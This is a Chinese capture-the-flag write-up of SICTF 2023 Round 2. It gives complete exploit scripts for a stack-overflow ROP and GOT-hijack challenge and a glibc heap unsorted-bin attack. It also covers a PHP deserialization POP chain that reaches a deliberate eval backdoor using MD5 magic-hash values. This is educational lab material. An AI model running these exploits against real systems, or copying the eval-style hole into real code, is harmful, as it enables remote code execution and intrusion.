前言
又是挺长一段时间没有打ctf了,各种原因,要过一段时间才会继续上强度学安全吧QAQ。这个SICTF是被朋友拉过来打的,看了一下,还是挺有意思的。下面记录下题目,以及复习到的一些知识点吧。笔者真的是脑子不好使了
签到Shop
很简单的签到题目,算是一个整型溢出的类型。
Different_gadget
明显的栈溢出,利用read函数结束残留的寄存器状态,输入栈上的libc地址
第一次输入的时候写入‘/bin/sh’字符串,再利用init函数中的setbuf,劫持got表,修改setbuf函数为system函数,leave_ret 指令迁移栈,执行构造的后门函数
其中注意init函数执行的时候,要注意新开辟的栈地址可写。exp如下
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./111"
remote_libc = ""
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
debug(p,'no-tmux',0x00000000004011F3)
# padding = b"/bin/sh\x00" + p64(0x40117E) + b"/bin/sh\x00"
padding = b"/bin/sh\x00" + p64(0x40117E)+ b"/bin/sh\x00"
write = 0x00000000004011CE
rbp = 0x000000000040115d
read = 0x00000000004011DD
ru("Hello!!!")
# payload1 = flat([padding,b'/bin/sh\x00',0x404040,write])
payload1 = flat({
0x0:[padding,b"deadbeef",0x404040,write,0,0,0,0,0,0,b'/bin/sh\x00']
},length = (0xb0-1),filler = b"\x00")
# payload1 = flat([b'/bin/sh\x00',padding,0x404020 + 0x20,write])
sl(payload1)
info1 = recv_libc()
info2 = recv_libc()
# info3 = recv_libc()
# info4 = recv_libc()
# info5 = recv_libc()
# info6 = recv_libc()
binsh = info2 - 0x148
print(hex(binsh))
libc_base = info1 -0x29e40
print(hex(libc_base))
rbp = 0x000000000040115d
rsp = 0x0401208
leave_ret = 0x00000000004011fd
ret = 0x000000000040101a
# system = libc_base + search_og(1)
system = libc_base + libc.sym.system + 4
read = libc_base + libc.sym.read
stdin = libc_base + libc.sym._IO_2_1_stdin_
payload2 = flat([system,read,0,0,binsh+0x60,rsp,stdin,rbp,binsh,leave_ret])
# pause()
sl(payload2)
itr()
baby_heap
怎么说这道题目呢,感觉不是那么难,但是还是被卡住了。关键还是笔者铸币,一直想着怎么用orange来打这道题目,忽视了unsortedbin 和spirit的结合利用,chunk_size段和chunk_ptr段前后相连还是能轻松构造出指定size的chunk。回归题目,先看一眼题目的逻辑。常规的增改查函数,没有删除函数
- add ----最多申请32chunk,申请size最大不超过0x1000字节。
- change ----修改chunk中的内容,修改的size大小不限制,可以溢出。
- show ----仅显示chunk中的前8字节内容,也就是这个地方无法泄露heap段地址,把orange的路堵上了。
主要思路:
- 先随意申请16个chunk,再申请0x111和0x1大小的两个chunk,构造chunk size段的fake size。
- 再修改top chunk前一个chunk(A),溢出篡改top chunk的size(注意页对齐)。
- 申请字节大于top chunk size将top chunk放入unsorted bin中。
- 再次修改chunk A,溢出窜改top chunk 的bk字段为chunk_ptr-0x18的位置。
- 申请0x100大小的chunk,获取存储chunk指针段地址的write权限
意会一下,不知道怎么表达更清楚一些。- 后面就是常规的修改chunk指针为got表来泄露libc,打ogg。
exp如下:
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./baby_heap"
remote_libc = "./libc-2.23.so"
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
def cmd(choice):
sla(">\n",str(choice))
def add(size,content):
cmd(1)
sla("Size :\n",str(size))
sa("Content :\n",content)
def change(index,content):
cmd(2)
sla("Index :\n",str(index))
sla("Size :\n",str(len(content)))
sa("Content :\n",content)
def show(index):
cmd(3)
sla("Index :\n",str(index))
debug(p,'no-tmux',0x00000000004014AA)
chunk_ptr = 0x4040E0
fake_chunk = chunk_ptr - 0x18
for i in range(16):
add(0x100,b"a")
add(0x111,b"a") #chunk 16
add(0x1,b"a") #chunk 17
change(17,flat([0,0,0,0xdc1]))
add(0x1000,b"a")
pause()
change(17,flat([0,0,0,0x141,b"deadbeef",fake_chunk]))
add(0x100,flat([0,elf.got.malloc]))
show(0)
libc.address = recv_libc() - libc.sym.malloc
one = libc.address + search_og(3)
# one = libc.address + 0xf1247 #0xf1147 0xf0897 0xef9f4
change(0,flat([one]))
cmd(1)
pause()
sl(b"0x80")
itr()
- 总结
- heap题目中没有给free的题目,多半是要用orange的技巧,通过申请超过top chunk size来将top chunk 放入unsorted bin中。
- unsorted bin不仅仅是只有篡改target->fd为arena的地址,也能像tcache中的TSU++技巧一样,把伪造的chunk链入bin中再申请出来
- 注意bss段上存储的chunk size字段,可以构造size来做一个fake chunk。本题有一个关键点就是存储的chunk size都是逐字节存入的,多出来的字节会被直接截断,另外任意大小chunk的申请方式让我们能够轻松构造出想要的fake size。
- 参考文章
[SICTF 2023 #Round2] Crypto,PWN,Reverse_石氏是时试的博客-CSDN博客
我全都要
一道简单的php反序列化。
<?php
highlight_file(__FILE__);
class B{
public $pop;
public $i;
public $nogame;
public function __destruct()
{
if(preg_match("/233333333/",$this->pop)){
echo "这是一道签到题,不能让新生一直做不出来遭受打击";
}
}
public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '<img src=\'R.jpg\'>';
$this->nogame->love();
}
}
public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}
class A{
public $Aec;
public $girl;
public $boy;
public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
$this->Aec->game();
}
}
}
class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象!";
if ($name != "game") {
echo "打游戏去,别想着对象了";
$this->MyLover = clone new B;
}
}
}
if ($_GET["A_B_C"]){
$poc=$_GET["A_B_C"];
unserialize($poc);
}
要rce,需要执行B类中的clone魔术方法,需要用到P类中的call进行调用。那么调用call魔术方法就需要引用P类里面的方法名不为game,因此需要嵌套B类中的game方法来执行nogame。能够调用game方法的仅有A中的toString,所以需要B类中的destruct进行正则匹配,将对象转化为字符串来触发toString函数。
序列化poc如下,另外cmd参数post传命令,即可获得flag
$P = new P();
$B2 = new B();
$B2->i = "1";
$B2->nogame = $P;
$A = new A();
$A->girl = 'QNKCDZO';
$A->boy = 's878926199a';
$A->Aec = $B2;
$B = new B();
$B->pop = $A;
echo serialize($B);
执行命令,根目录下获得flag
标签:bin,SICTF,libc,chunk,2023,x00,round2,public,size From: https://www.cnblogs.com/Tw0YY/p/17694253.html